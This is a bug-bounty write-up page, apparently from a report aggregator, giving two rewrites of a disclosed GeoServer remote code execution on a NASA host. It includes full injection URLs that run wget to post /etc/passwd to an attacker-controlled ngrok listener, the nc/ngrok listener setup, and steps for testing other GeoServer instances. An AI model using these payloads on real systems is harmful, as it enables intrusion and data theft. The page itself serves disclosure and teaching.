Skip to content
RCE Write-up Intermediate

How i hacked NASA? at NASA VDP

Fadhli Almunawar Follow

Published on medium.com

{{media:0}}

Fadhli Almunawar, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

This is a write-up of a bug reported to the NASA vulnerability disclosure programme (VDP). The researcher, Fadhli Almunawar, describes a remote code execution (RCE) issue found on a NASA domain that was running GeoServer. The report does not name the specific host, so the URLs below are shown as they appear in the write-up, with the domain placeholders kept as written.

GeoServer is an open source server for sharing geospatial data. It exposes OGC services such as WFS (Web Feature Service), which clients use to query and retrieve map features. WFS supports stored queries, and one of the built-in stored queries is GetPropertyValue, which returns the value of a single property from a feature. The researcher's starting assumption was that NASA was using map features similar to ArcGIS or GeoServer.

Fadhli Almunawar
Fadhli Almunawar From the original on medium.com

Setup

The report lists no accounts, roles or credentials. The tools used were:

  • dirsearch for content discovery.
  • ngrok to expose a local listener.
  • nc (netcat) to receive the incoming connection.

No versions are given for any of these tools, and the report does not state whether authentication was required to reach the vulnerable endpoint.

Finding it

The researcher began with directory brute forcing against the target domain:

Bash
dirsearch -u "domainasa.gov"

This surfaced a response that identified the server as GeoServer:

Text
Could not determine geoserver request from http request org.geoserver.platform.AdvancedDispatchFilter$AdvancedDispatchHttpRequest@1e8db249

The error message names GeoServer classes directly, which told the researcher the application was GeoServer and that it was reachable. That was the signal to look at GeoServer's request handling, in particular the WFS stored query mechanism.

Exploitation

Step 1: Confirm the GetPropertyValue stored query

The researcher added a request parameter with the value GetPropertyValue:

HTTP
https://nasadomain.gov/path?request=GetPropertyValue

The server replied:

Text
The query should specify either typeName, featureId filter, or a stored query id

This confirmed that the GetPropertyValue stored query was being processed and that it expected a typeName (or a feature id or stored query id) to know which feature type to read from.

Step 2: Find a valid typeName

The researcher did not know a valid value for typeName. The next attempt returned a 401 authentication response, which the write-up notes but does not explain further. The researcher then used the ListStoredQueries request to enumerate what was available:

The write-up shows this URL in a slightly garbled form, with the version string repeated, but the intent is a WFS 2.0.0 ListStoredQueries call. From this the researcher obtained a usable feature type name, cite:places, and used it as the typeName value:

HTTP
https://nasadomain.gov/path?request=GetPropertyValue&typeName=cite:places

The response was:

Text
No valueReference specified

So the query now accepted the feature type and moved on to requiring a valueReference, the parameter that says which property to return.

Step 3: Inject into valueReference

The valueReference parameter is where the researcher placed the payload. The first form shown in the write-up is:

Text
valueReference=exec(java.lang.Runtime.getRuntime(),'wget%20--post-file=/etc/passwd%20example.listener.com')

This uses GeoServer's expression support to call java.lang.Runtime.getRuntime() and then exec, running wget with --post-file=/etc/passwd so that the contents of /etc/passwd are sent as the body of an HTTP POST to a listener the researcher controls. The %20 sequences are URL-encoded spaces.

Step 4: Set up the listener

Before triggering the payload, the researcher started a local listener and exposed it:

Bash
ngrok http 1337
Bash
nc -lnvp 1337

ngrok forwards a public URL to local port 1337, and nc listens on that port to capture the incoming request and its body.

Step 5: Trigger the payload

The full request, as shown in the write-up, is:

HTTP
https://domainnasa.gov/path?request=GetPropertyValue&typeName=cite:places&valueReference=exec(java.lang.Runtime.getRuntime(),%27wget%20--post-file=/etc/passwd%20944e-202-51-199-173.ngrok-free.app%27)&version=2.0.0

Here %27 is an encoded single quote and %20 an encoded space. The valueReference value calls Runtime.getRuntime().exec(...) with a wget command that posts /etc/passwd to the ngrok hostname. The researcher notes that the page can be reloaded to run it again. The result, as stated in the write-up, was that /etc/passwd was received from the NASA server.

Root cause

The report does not analyse the code. What it shows is that the valueReference parameter of the GetPropertyValue stored query was evaluated as an expression, and that the expression language allowed a call to java.lang.Runtime, which in turn allowed arbitrary command execution. The likely cause is that user-supplied input reached an expression evaluator without being restricted to safe property references.

Impact

The demonstrated impact is command execution on the NASA server, evidenced by the exfiltration of /etc/passwd. In principle this gives an attacker the ability to run arbitrary commands on the host, but the report only demonstrates reading a single file.

Fix

It records only that the issue was marked resolved and duplicate.

Timeline

The write-up gives the following dates:

Event Date
Submitted 19 Jul 2024 15:48:27 UTC
Unresolved 19 Jul 2024 18:05:47 UTC
Resolved and duplicate 07 Aug 2024 16:48:35 UTC

The researcher notes the report was rated P1 but closed as a duplicate.

Variants to test

  • On other GeoServer instances, request GetPropertyValue with a typeName and a valueReference containing an expression call such as exec(...). A positive result is a response that does not reject the expression, or an out-of-band callback to your listener.
  • Enumerate feature types with ListStoredQueries and try each as typeName. A positive result is a response that moves past the typeName check to the valueReference requirement.
  • Try other stored queries that accept expressions, not just GetPropertyValue. A positive result is any query that evaluates your input rather than treating it as a literal.
  • Test whether the same expression evaluation is reachable without authentication. A positive result is a 200 response with evaluated output rather than a 401.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

A security researcher was looking at a website run by NASA. NASA runs a programme where people can report security problems they find, called a vulnerability disclosure programme (VDP). The researcher found a way to make the NASA server run a command of his choosing, which is called remote code execution (RCE). He used it to read a file from the server and send it back to himself. The report was rated P1 but it was closed as a duplicate. This article walks through exactly what he did, step by step, explaining every term as it comes up.

Fadhli Almunawar
Fadhli Almunawar From the original on medium.com

The background you need first

What is a server and what is a web request?

When you type an address into your browser, your computer sends a request over the internet to another computer called a server. The server sends back a response, usually a web page. Most of the time you only see the finished page, but underneath, every click and every page load is a request with an address (a URL) and sometimes extra pieces of information attached.

What is an API?

An API (application programming interface) is a way for one piece of software to ask another piece of software to do something, without a human clicking buttons. A simple comparison: a restaurant menu. You do not walk into the kitchen and cook; you pick an item from the menu and the kitchen makes it. The menu is the API: a fixed list of things you can ask for, and the kitchen is the server that does the work. Many web servers expose APIs through URLs, where the address itself says what you want.

What is a URL parameter?

Look at a URL like this:

Everything after the ? is a set of parameters. Each parameter has a name and a value, separated by =, and several parameters are joined with &. In ?name=value, the parameter name is name and its value is value. Servers read these to decide what to send back. Changing a parameter is like ticking a different box on a form.

What is GeoServer and what is WFS?

GeoServer is a free, open source server for sharing map data. Organisations use it to publish geographic information, such as the outline of a country or the location of a place, so that other software can request it. It speaks a set of standards, and one of them is WFS, the Web Feature Service. WFS lets a client ask for map features: individual items on a map, with their properties.

WFS has a feature called stored queries. A stored query is a ready-made question the server already knows how to answer, so a client can just name it instead of writing the whole question out. One of the built-in stored queries is called GetPropertyValue. It returns the value of one single property of a feature, for example the name of a place.

What is the vulnerability class here?

Remote code execution, or RCE, means an attacker can make the server run commands or programs that the attacker chose. It is one of the most serious kinds of bug, because the attacker is no longer limited to reading data through the website: they can use the server's own operating system. Code injection is the broader family: the server takes input from a user and treats part of it as code to run, instead of treating it as plain text.

The researcher's starting guess was that NASA was using map software like ArcGIS or GeoServer, because those are common for map features.

The tools he used

The report lists three tools and no accounts, roles or credentials. No versions are given for any of them, and the report does not say whether you needed to log in to reach the vulnerable address.

  • dirsearch: a tool that tries many common file and folder names against a website to see which ones exist. It is like walking down a corridor trying every door handle to see which doors are unlocked.
  • ngrok: a tool that gives your own computer a public address on the internet, so that a server somewhere else can connect back to you.
  • nc (netcat): a tool that can listen on a network port and show whatever arrives, like holding a bucket under a tap.

Step 1: Finding the GeoServer

He started by guessing common paths on the target domain:

Bash
dirsearch -u "domainasa.gov"

Line by line: dirsearch is the program being run. -u tells it which URL to scan, and "domainasa.gov" is that URL. The quotes just keep the address together as one piece for the command line.

This turned up a response that named GeoServer directly:

Text
Could not determine geoserver request from http request org.geoserver.platform.AdvancedDispatchFilter$AdvancedDispatchHttpRequest@1e8db249

This is an error message, but a very useful one. It says the server could not work out what GeoServer request was being made. The important part is that it contains the word geoserver and internal class names such as org.geoserver.platform.AdvancedDispatchFilter. That told the researcher the application really was GeoServer and that it was reachable from the internet. An error message that reveals what software is running is called information disclosure, and it is often the first clue in an investigation. With that confirmed, he turned to how GeoServer handles requests, and in particular the WFS stored query mechanism.

Step 2: Confirming the GetPropertyValue query

He added a request parameter with the value GetPropertyValue:

HTTP
https://nasadomain.gov/path?request=GetPropertyValue

Line by line: the address is the NASA domain, then /path is a placeholder for whatever path the GeoServer was on. After the ?, the parameter request is set to GetPropertyValue. In plain words: "please run the stored query called GetPropertyValue".

The server answered:

Text
The query should specify either typeName, featureId filter, or a stored query id

This is a good sign. The server did not reject the request; it complained that it was incomplete. It was asking for one of three things: a typeName, a featureId filter, or a stored query id. A typeName is the name of the kind of feature to read from, for example a category of map item. The server needed to know which set of features to look in before it could return a property.

Step 3: Finding a valid typeName

He did not know a valid value for typeName. His next attempt came back with a 401 authentication response. A 401 is the HTTP status code for "you are not allowed in without proving who you are", the same idea as a door that needs a key card. The write-up mentions this response but does not explain it further.

He then asked GeoServer to list the stored queries it had:

Line by line: request=ListStoredQueries asks for the list of stored queries. service=wfs says which service is being used, the Web Feature Service. version=2.0.0 says which version of that standard to use. The write-up shows this address in a slightly garbled form, with the version string repeated, but the intent is a WFS 2.0.0 list request.

From this he got a usable feature type name: cite:places. The cite part is a namespace, a way of grouping names so that two different things can share a short name without clashing, a bit like a surname. He put it into the typeName parameter:

HTTP
https://nasadomain.gov/path?request=GetPropertyValue&typeName=cite:places

Line by line: still asking for GetPropertyValue, and now also saying typeName=cite:places, which means "look in the places feature type". The two parameters are joined with &.

The response was:

Text
No valueReference specified

So the server accepted the feature type and moved on to the next requirement. It now wanted a valueReference, which is the parameter that says which property of the feature to return. Think of it as the server saying: "fine, I know which shelf to look on, now tell me which item on the shelf".

Step 4: Putting code into valueReference

This is the heart of the bug. The valueReference parameter was not treated as a plain property name. GeoServer supports expressions in this parameter, and an expression can call into the underlying programming language, Java. The first form shown in the write-up is:

Text
valueReference=exec(java.lang.Runtime.getRuntime(),'wget%20--post-file=/etc/passwd%20example.listener.com')

Line by line:

  • valueReference= is the parameter name and the start of its value.
  • exec( is a call to run a command.
  • java.lang.Runtime.getRuntime() gets the Java object that represents the running program, the thing that is allowed to start other programs.
  • 'wget%20--post-file=/etc/passwd%20example.listener.com' is the command to run, written as a piece of text. wget is a common program for fetching things over the network. --post-file=/etc/passwd tells it to send the contents of the file /etc/passwd as the body of an HTTP POST request. example.listener.com is where to send it, a listener the researcher controls. %20 is the URL encoding for a space, because spaces are not allowed raw in a URL.

In plain words: "run the program wget, and have it send me the contents of the file /etc/passwd". /etc/passwd is a standard file on Linux systems that lists user accounts. It is a classic file to read as proof of command execution.

Step 5: Setting up somewhere to receive the file

Before triggering the payload, he started a listener on his own machine and made it reachable from the internet:

Bash
ngrok http 1337

Line by line: ngrok is the program. http says to create a public web address that forwards to a local port. 1337 is the local port number to forward to. A port is like a numbered door on a computer; different services listen on different doors. ngrok prints a public address that, when anyone visits it, passes the traffic through to port 1337 on the researcher's machine.

Bash
nc -lnvp 1337

Line by line: nc is netcat. -l means listen. -n means do not look up names, just use numbers. -v means be verbose, show what is happening. -p 1337 means use port 1337. Together: "wait on port 1337 and show me anything that arrives". The two tools work as a pair: ngrok brings the traffic in from the internet, and nc catches it and displays it.

Step 6: Triggering the payload

The full request, as shown in the write-up, is:

HTTP
https://domainnasa.gov/path?request=GetPropertyValue&typeName=cite:places&valueReference=exec(java.lang.Runtime.getRuntime(),%27wget%20--post-file=/etc/passwd%20944e-202-51-199-173.ngrok-free.app%27)&version=2.0.0

Line by line:

  • request=GetPropertyValue asks for the stored query.
  • typeName=cite:places says which feature type to read.
  • valueReference=exec(...) is the injected expression, the same idea as before.
  • %27 is the URL encoding for a single quote, so the command text is wrapped in quotes.
  • %20 is an encoded space.
  • --post-file=/etc/passwd sends the file contents as the body of the request.
  • 944e-202-51-199-173.ngrok-free.app is the public address ngrok gave him, the place the file is sent to.
  • version=2.0.0 says which WFS version to use.

He notes that the page can simply be reloaded to run it again. The result, as stated in the write-up, was that /etc/passwd was received from the NASA server. In other words, the server ran his command and sent him a file from its own disk.

Why this worked

The report does not analyse the code. What it shows is that the valueReference parameter of the GetPropertyValue stored query was evaluated as an expression, and that the expression language allowed a call to java.lang.Runtime, which in turn allowed arbitrary commands to run. The likely cause is that input from the user reached an expression evaluator without being restricted to safe property references. The report does not say which GeoServer version was running or whether any protection was configured.

What the impact was

The demonstrated impact is command execution on the NASA server, proven by sending /etc/passwd out. In principle that gives an attacker the ability to run any command on the machine, but the report only demonstrates reading a single file.

Was there a fix?

It records only that the issue was marked resolved and duplicate.

Timeline

Event Date
Submitted 19 Jul 2024 15:48:27 UTC
Unresolved 19 Jul 2024 18:05:47 UTC
Resolved and duplicate 07 Aug 2024 16:48:35 UTC

The researcher notes the report was rated P1 but closed as a duplicate. A duplicate means someone else had already reported the same problem.

Things to try on other systems

These are the kinds of checks the same technique suggests, for anyone testing a GeoServer they are allowed to test:

  • On other GeoServer instances, request GetPropertyValue with a typeName and a valueReference containing an expression call such as exec(...). A positive result is a response that does not reject the expression, or a callback arriving at your listener.
  • Enumerate feature types with ListStoredQueries and try each as typeName. A positive result is a response that moves past the typeName check to the valueReference requirement.
  • Try other stored queries that accept expressions, not just GetPropertyValue. A positive result is any query that evaluates your input rather than treating it as a literal.
  • Test whether the same expression evaluation is reachable without authentication. A positive result is a 200 response with evaluated output rather than a 401.

Glossary

  • VDP (vulnerability disclosure programme): a scheme where an organisation invites people to report security problems to it, usually with rules about what is allowed.
  • Remote code execution (RCE): a bug that lets an attacker make a server run commands or programs of the attacker's choosing.
  • Code injection: a broader class of bug where user input is treated as code to run instead of as plain text.
  • Server: a computer that answers requests from other computers over a network.
  • Request and response: a request is what a browser or tool sends to a server; the response is what the server sends back.
  • URL: the address of something on the web.
  • URL parameter: a name and value pair after the ? in a URL, such as name=value, used to pass information to the server.
  • API (application programming interface): a defined way for software to ask another piece of software to do something, like a menu of allowed requests.
  • GeoServer: free, open source software for publishing and sharing map data over the web.
  • WFS (Web Feature Service): a standard that lets clients ask a map server for individual map features and their properties.
  • Stored query: a ready-made question a WFS server already knows how to answer, which a client can request by name.
  • GetPropertyValue: a built-in WFS stored query that returns the value of one property of a feature.
  • typeName: the parameter that names which kind of feature to read from.
  • Namespace: a prefix that groups names so different things can share a short name without clashing, as in cite:places.
  • valueReference: the parameter that says which property of a feature to return; in this bug it was evaluated as an expression.
  • Expression: a piece of input that the server calculates or runs, rather than treating as plain text.
  • Java: a programming language and runtime; GeoServer is written in it.
  • java.lang.Runtime: the Java object that represents the running program and can start other programs.
  • exec: a call that runs an operating system command.
  • dirsearch: a tool that tries many common file and folder names against a website to find ones that exist.
  • Information disclosure: when an error message or response reveals details about the software that should have stayed hidden.
  • HTTP status code: a number in a response saying how the request went; 401 means authentication is required, 200 means success.
  • Authentication: proving who you are, usually with a login.
  • ngrok: a tool that gives a local computer a public internet address and forwards traffic to it.
  • nc (netcat): a tool that can listen on a network port and show what arrives.
  • Port: a numbered channel on a computer that a service listens on.
  • wget: a program for fetching or sending things over the network.
  • HTTP POST: a request that carries a body of data to the server, often used to submit information.
  • URL encoding: writing special characters in a URL in a safe form, such as %20 for a space and %27 for a single quote.
  • /etc/passwd: a standard file on Linux systems that lists user accounts.
  • Listener: a program waiting on a port to receive incoming connections.
  • Duplicate: a report of a problem that someone else has already reported.
  • P1: the highest priority rating for a reported vulnerability.

More from NASA

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.